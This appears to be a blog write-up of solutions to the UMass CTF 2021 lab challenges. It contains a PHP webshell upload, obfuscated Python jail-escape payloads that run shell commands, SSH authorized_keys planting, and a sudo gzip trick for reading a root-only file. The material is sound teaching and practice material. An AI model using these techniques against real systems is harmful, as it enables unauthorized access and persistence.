Assets
- home 18.0k
- device(s) 1.0k
- stock(s) 2.3k
- server 0.1k
- cash 0.6k
Liabilities
- debt 4.0k
- loan 0.0k
My Net: 18.0k
05-12-2021
Expired by:
00000 00:00:00

UMass CTF 2021 notes

The UMass CTF 2021 is targeted at undergraduate students. The challenges are supposed to be friendly to an amateur like me. I did manage to solve some of them with a lot of effort and learned few tricks along the way.

1. Hermit part 1 [web]

The challenge statement:

Help henry find a new shell
http://104.197.195.221:8086
http://34.121.84.161:8086

Landing page

We can see that this website is running on PHP/Apache/Debian. The author suggests a PHP shell upload. Let’s check the image upload.

Upload page

The upload.php saves my uploaded image to the /var/www/html/uploads/NFaTbH path and shows a link to follow it up.

Show page

The show.php dumps the content of my image and sends back it as a base64 image stream. The filename query param looks suspicious.

Filename param

This trick works, we have the source code of upload.php encoded as a base64 image. Let’s decode it and see the actual code behind it.

Base64 decode

<?php
  $target_dir = "uploads/";
  $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
  $filename = tempnam($target_dir, '');
  $uploadOk = 1;
  $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

  // Check file size
  if ($_FILES["fileToUpload"]["size"] > 50000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
  }

  // Allow certain file formats
  if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
  && $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
  }

  // Check if $uploadOk is set to 0 by an error
  if ($uploadOk == 0) {
    echo "<p>Sorry, your file was not uploaded.</p>";
    echo "<a href='/'>Back</a>";
  // if everything is ok, try to upload file
  } else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $filename)) {
      echo "<p>The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])) . " has been uploaded to " . $filename . "</p>";
      $path = "/show.php?filename=" . rawurlencode(basename($filename));
      echo "<a href=$path>See Image</a>";
    } else {
      echo "<p>Sorry, there was an error uploading your file.</p>";
      echo "<a href='/'>Back</a>";
    }
  }

A big file or non-image upload is restricted. Looks like a PHP shell as an image will likely pass through. Let’s go with a tiny PHP shell.

echo '<?php system($_GET["c"]); ?>' > test.php.gif

Missing param error This error indicates that our shell is working and it just need a command to run. Let’s search the flag with the grep function.

Flag


2. Heim [web]

The challenge statement:

Modern auth for the modern viking
http://104.197.195.221:8081
http://34.121.84.161:8081

Landing page

Well from the looks of it I could guess that it is most likely running on python. The challenge is about some sort of authorization tokens.

Authorized page

JWT check

After submitting my name on the page, I received a valid JWT access token and secret key. Let’s access the page with a proper header.

Authorization header

I use the ModHeader chrome extension to play with request headers. With the Authorization: Bearer {my_access_token} we got a msg.

Base64 decode

{
  "api":{
    "v1":{
      "/auth":{
        "get":{
          "summary":"Debugging method for authorization post",
          "security":"None",
          "parameters":{
            "access_token":{
              "required":true,
              "description":"Access token from recently authorized Viking",
              "in":"path"
            },
            "jwt_secret_key":{
              "required":false,
              "description":"Debugging - should be removed in prod Heim",
              "in":"path"
            }
          }
        },
        "post":{
          "summary":"Authorize yourself as a Viking",
          "security":"None",
          "parameters":{
            "username":{
              "required":true,
              "description":"Your Viking name",
              "in":"body",
              "content":"multipart/x-www-form-urlencoded"
            }
          }
        }
      },
      "/heim":{
        "get":{
          "summary":"List the endpoints available to named Vikings",
          "security":"BearerAuth"
        }
      },
      "/flag":{
        "get":{
          "summary":"Retrieve the flag",
          "security":"BearerAuth"
        }
      }
    }
  }
}

Flag attempt

Okay, here we could guess that Odin might only be able to access the /flag endpoint. So we clear the previous request header and go back to the landing page. Supply the name as Odin to get a new access token for Odin. Modify the request header as Authorization: Bearer {odin_access_token} and access /flag endpoint.

Flag


3. Ekrpat [misc]

The challenge statement:

I made so few errors when creating this jail.
nc 34.72.64.224 8083
nc 35.231.20.75 8083

Ekrpat

The >>> line beginning looks awfully similar to python interpreter. And the gibberish text is likely to be encoded with substitution ciphers.
After a bit of googling, I eventually landed on a correct webpage to translate the gibberish to something readable. https://awsm-tools.com

Decoded message

After toying with the python3 interpreter and googling a bit. I found a workaround for this simple jail escaping challenge.

__builtins__.__dict__['IMPORT'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls')

list directory

__builtins__.__dict__['IMPORT'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat flag')

cat flag


4. Scan me [misc]

The challenge statement:

The top layer is a lie.
scan_me.xcf

Lookup: The XCF, short for eXperimental Computing Facility, is the native image format of the GIMP image-editing program. I don’t have the GIMP so I have used an online tool to convert XCF to JPG.

Scan me JPG

This is a QR code recovery challenge. I have done my research on the topic. It is possible with some tool and effort, one could try to recover the lost data with certain precisions. I have to admit that this has been the finest artwork of mine in a while.

QR recovery

After signed my fine artwork, QR & barcode scanner did the magic and extracted https://imgur.com/a/57VgQ8M. Flag was UMASS{QR-3Z-m0d3}


5. Jeopardy [misc]

The challenge statement:

This is Jail-pardy!
nc 34.72.64.224 8082
nc 35.231.20.75 8082
There has been confusion over Miscellaneous 200. The answer is “ios”, it is misleading. My bad. Good luck and enjoy! :)

Jeopardy

This challenge had 25 quizz questions to unlock letters and characters that you can use in the python3 interpreter to escape the jail. Oh boy, it took me hours to correctly answer 21/25 questions.

  1. Miscellaneous 100 - Name a sponsor of UMassCTF: HackTheBox
    Correct! You have been awarded the following characters: ‘`’

  2. Miscellaneous 200 - This was the most popular OS that was used in 2020: ios
    Correct! You have been awarded the following characters: ‘r’

  3. Miscellaneous 300 - The answer to the life, universe, everything? In binary, of course: 101010
    Correct! You have been awarded the following characters: ‘h’

  4. Miscellaneous 400 - If there are 6 apples and you take away 4, how many do you have? 4
    Correct! You have been awarded the following characters: ‘,’, ‘~’

  5. Miscellaneous 10000 - The UMass Cybersecurity club holds many talks from a wide variety of industry professionals in the tech scene. One such company may have leaked a password to something they were demoing during their presentation but did not care. What was the password displayed on the screen?

    This question made me watch several videos and try several passwords. From SQL Injection video, promising wrong passwords: 62d754cc350e84d3b1c32ae79f976f5348e74a40, seb, 6885858486f31043e5839c735d99457f045affd0 , bug. After a decade, this video shows gSH1GgcJHimHy0XaMn.
    Correct! You have been awarded the following characters: ‘a’, ‘b’, ‘d’, ‘f’, ‘g’, ‘i’, ‘w’, ‘y’, ‘z’

  6. Cybersecurity Tomorrow 100 - This type of computing that has much promise for the future poses a great threat to encryption schemes commonly used today: quantum computing
    Correct! You have been awarded the following characters: “’”

  7. Cybersecurity Tomorrow 200 - This year will be the next y2k thanks to some data types: 2038
    Correct! You have been awarded the following characters: ‘e’

  8. Cybersecurity Tomorrow 300 - Said to be the number 1 risk or threat in cybersecurity for the foreseeable future

  9. Cybersecurity Tomorrow 400 - This architecture of CPUs seems to have many benefits but has repeatedly had vulnerabilities found in it after major releases of them

  10. Cybersecurity Tomorrow 500 - This technology that can be used to create fake events with real images is a serious concern for future cybersecurity: Deepfakes
    Correct! You have been awarded the following characters: ‘m’, ‘n’, ‘o’

  11. Cybersecurity Yesterday 100 - Nickname of one of the first “hackers” that is a cereal brand: Captain Crunch
    Correct! You have been awarded the following characters: ‘%’

  12. Cybersecurity Yesterday 200 - Movie where tic-tac-toe used to save the world? WarGames Correct! You have been awarded the following characters: ‘1’

  13. Cybersecurity Yesterday 300 - Country that US and Israeli has made multiple worms and malware against? Iran
    Correct! You have been awarded the following characters: ‘c’

  14. Cybersecurity Yesterday 400 - The first real use of cybersecurity against a virus was a program called the ___? The Reaper
    Correct! You have been awarded the following characters: ‘.’

  15. Cybersecurity Yesterday 500 - DoD wrote this during the cold war

  16. Cybersecurity Now 100 - According to UMaryland Professor, a hacker attacks computers on average every ___ seconds? 39
    Correct! You have been awarded the following characters: ‘:’

  17. Cybersecurity Now 200 - University of Michigan researchers controlled a Google Home from 230 feet away with what? laser
    Correct! You have been awarded the following characters: ‘)’

  18. Cybersecurity Now 300 - Band that was recently threatened to have unreleased music released unless they pay the hackers money: Radiohead
    Correct! You have been awarded the following characters: ‘+’

  19. Cybersecurity Now 400 - This company recently had their source code accessed in a huge breach: Microsoft
    Correct! You have been awarded the following characters: ‘_’, ‘<’

  20. Cybersecurity Now 500 - What is a fairly new way to find electronics that law enforcement are using, i.e. Subway scandal

  21. UMass 100 - What is the name of the mascot of UMass? Sam the Minuteman
    Correct! You have been awarded the following characters: ‘(‘

  22. UMass 200 - What is UMass most famously known for being #1 for? food
    Correct! You have been awarded the following characters: ‘{‘

  23. UMass 300 - What dining hall is hard-serve ice cream served at on campus everyday? Franklin
    Correct! You have been awarded the following characters: ‘}’

  24. UMass 400 - Where was the old honors college located? Orchard Hill Area
    Correct! You have been awarded the following characters: ‘x’

  25. UMass 500 - This flag was raised from a dorm in the central housing area in the 90s due to unrest from the residents: Jolly Roger
    Correct! You have been awarded the following characters: ‘s’, ‘t’, ‘u’, ‘v’

So far, I have access to (){},~:+_<%.1 and abcdefghi[j][k][l]mno[p]rstuvwxyz. Not all the questions are answered, but I have to settle with what I have got. The approach I have used is similar to what worked for the ekrpat challenge.

exec('''__builtins__.__dict__['__import__']('os').__dict__['system']('ls')''')

These are my workarounds for the characters/letters which I am not allowed to type in:

chr(ord('i')+1) # j
chr(ord('i')+1+1) # k
chr(ord('i')+1+1+1) # l
chr(ord('o')+1) # p
chr(ord(':')+11+11+11) # [
chr(ord('<')+11+11+11) # ]
chr(ord('%')+1+1) # ' - strangely '''text''' failing to escape ' sometimes.

I have replaced all the non-allowed letters/characters with my workarounds to constructed the code.

exec(chr(ord('o')+1) + 'rint(__bui' + chr(ord('i')+1+1+1)+ 'tins__.__dict__' + chr(ord(':')+11+11+11) + ''''__im''' + chr(ord('o')+1) + 'ort__' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '''('os').__dict__''' + chr(ord(':')+11+11+11) + ''''system''' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '(' + chr(ord('%')+1+1) + chr(ord('i')+1+1+1) + 's' + chr(ord('%')+1+1) + '))')

list dir

And a minor adjustment to issue the cat flag.txt command.

exec(chr(ord('o')+1) + 'rint(__bui' + chr(ord('i')+1+1+1)+ 'tins__.__dict__' + chr(ord(':')+11+11+11) + ''''__im''' + chr(ord('o')+1) + 'ort__' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '''('os').__dict__''' + chr(ord(':')+11+11+11) + ''''system''' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '(' + chr(ord('%')+1+1) + 'cat f' + chr(ord('i')+1+1+1) + 'ag.txt' + chr(ord('%')+1+1) + '))')

cat flag.txt

Yeah, thank you, Alex. I really enjoyed the challenge despite the few hours of struggle.


6. Notes [forensics]

The challenge statement:

The breach seems to have originated from this host. Can you find the user’s mistake? Here is a memory image of their workstation from that day. File: image.mem (PS: too big to reference)

We have a memory dump to analyze to capture the flag. I came accross this sort of challenge before and remembered the volatility.

To read the image information.

vol.py imageinfo -f ./image.mem

NFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
...

To see the process list.

vol.py pslist --profile=Win7SP1x64 -f ./image.mem

Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8000ca0040 System                    4      0    173      526 ------      0 2021-03-20 18:57:47 UTC+0000                                 
...                               
0xfffffa8000dd0060 notepad.exe            2696   2288      4      309      1      0 2021-03-20 17:59:34 UTC+0000                                 
...
0xfffffa800213e4e0 SearchFilterHo         1740   1888      5      103      0      0 2021-03-20 18:15:53 UTC+0000 

To dump the notepad.exe memory to file.

volatility -f ./image.mem --profile=Win7SP1x64 memdump --dump-dir=./ -p 2696

To find the flag using strings and grep functions.

strings -e l ./2696.dmp| grep "UMASS"
UMASS{$3CUR3_$70Rag3}

7. Webserver [forensics]

The challenge statement:

Our webserver has a few flaws in it :(
http://34.72.232.191:8080
Link to a file: a.out

Landing page

echo endpoint

I don’t think my solution is what the author had in mind. After all, he should have given us the a.out file for a reason. As soon as I saw the /echo?message endpoint I wanted to try a command execution. The dumb luck was on my side, it was a challenge that took the least effort from me.

Lucky shot

8. Hermit - Part 2 [web]

The challenge statement:

Who are you? How did you get here? You better zip on out of here or else.
104.197.195.221:8087
34.121.84.161:8087
(The server is likely not broken. If you really think it’s broken, create a support ticket.)
Hint 1: Try enumeration
Hint 2: The port you are looking for has been forwarded to 8087.

Landing page NC

My first impression was that this challenge may be out of my league. Initially, I thought there suppose to be a website running behind this ssh interface. So I googled a lot of random stuff like ssh tunnel, ssh proxy and ssh firewall etc … Well, that was a fruitless few hours. People were solving it with a much better success rate. I read over the challenge statement again after a break. And that’s when the Hermit - Part2, Part2 caught my eyes. I began to look at the challenge in a proper way.

To see the debain user name

whoami

whoami

To check the hermit’s default ssh folder to find a usable key pair. (I tried that weird looking id_ed25519 key but it was password protected.)

ls /home/hermit/.ssh

ssh keys

To generate a new ssh key pair with no passphrase for myself.

ssh-keygen -b 2048 -t rsa -f /tmp/mediocre -q -N ""

ssh_keygen

To get my private key content

cat /tmp/mediocre

get private key

Here, I manually copied my private key content nicely into hermit.key file on my local machine and set the proper permission.

hermit key

To add my public key to the authorized_keys file.

cat /tmp/mediocre.pub >> /home/hermit/.ssh/authorized_keys

authorized_keys

And tried to access the server via ssh through the 8087 port with my keys. ssh access

From here on, I have tried a bunch of useless commands. Failed to find the other webserver which I imagined to be running there somewhere. In the end, I presumed that this is some sort of Linux privilege escalation challenge. While chatting with a friend, I learn about the linPEAS script and decided to give it a go.

mkdir /tmp/mediocre_one
cd /tmp/mediocre_one
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh > line.sh
chmod +x line.sh
./line.sh > out

The output of the linPEAS script had a lot of information so I took a shortcut.

cat out | grep flag
    (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
hermit ALL = (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
/home/hermit/flag
/home/hermit/flag/userflag.txt
drwxrwxr-t 1 root   root   4096 Mar 27 04:52 flag
/tmp/mediocre_one/out:hermit ALL = (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
/tmp/mediocre_one/out:    (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
sudo /bin/gzip -f /root/rootflag.txt -t
UMASS{a_test_of_integrity}

rm -rf /tmp/mediocre_one # clean up

My successful submissions end here. I spent quite a few hours trying the other challenges:

Anyway, I enjoyed the UMass CTF 2021 event. Thanks to those who organized and sponsored the event.

· CTF, PHP shell, python jail, QR recovery, memory forensics, Linux privilege escalation